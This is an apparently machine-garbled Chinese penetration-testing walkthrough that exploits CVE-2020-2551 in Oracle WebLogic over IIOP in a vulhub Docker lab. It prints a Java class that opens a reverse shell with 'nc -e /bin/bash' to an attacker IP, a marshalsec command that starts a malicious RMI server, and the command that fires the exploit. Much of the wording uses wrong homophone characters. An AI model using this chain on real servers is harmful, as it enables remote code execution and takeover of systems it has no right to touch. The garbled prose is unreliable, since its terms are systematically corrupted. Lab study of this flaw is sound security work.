前言

2020年1月15日,Oracle公布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危破绽,破绽编号CVE-2020-2551,CVSS评分9.8分,破绽利用难度低,可基于IIOP协定执行近程代码。通过剖析这次破绽次要起因是谬误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁外面就退出到黑名单列表了,T3协定应用的是resolveClass办法去过滤的,resolveClass办法是会读取父类的,所以T3协定这样过滤是没问题的。然而IIOP协定这块,尽管也是应用的这个黑名单列表,但不是应用resolveClass办法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表外面的,它的父类才在黑名单列表外面,这样就能够反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

环境搭建

间接应用vulhub中的CVE-2017-10271就能够
应用git克隆到本地
git clone https://github.com/vulhub/vul...

进入对应环境
cd vulhub/weblogic/CVE-2017-10271

启动docker破绽环境

sudo docker-compose up -d

搭建实现当前,拜访7001/console如下图所示即为搭建胜利

检测是否存在破绽

python3 CVE-2020-2551.py -u http://192.168.52.128:7001/

发现存在破绽

破绽利用

攻击机ip:192.168.0.101
靶机ip:192.168.52.128
攻击机开启监听nc -lvnp 3333

编写一个exp.java文件:

import java.io.IOException;public class exp {        static{                try {                        java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"});                } catch (IOException e) {                               e.printStackTrace();                }        }        public static void main(String[] args) {        }}


启一个web服务,须要与exp.class在同一文件夹

应用marshalsec起一个歹意的RMI服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101/#exp" 1099

而后开始进行攻打,应用命令,胜利弹出shell:java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp

下载工具获取私信 学习浸透请关注微信公众号:助安社区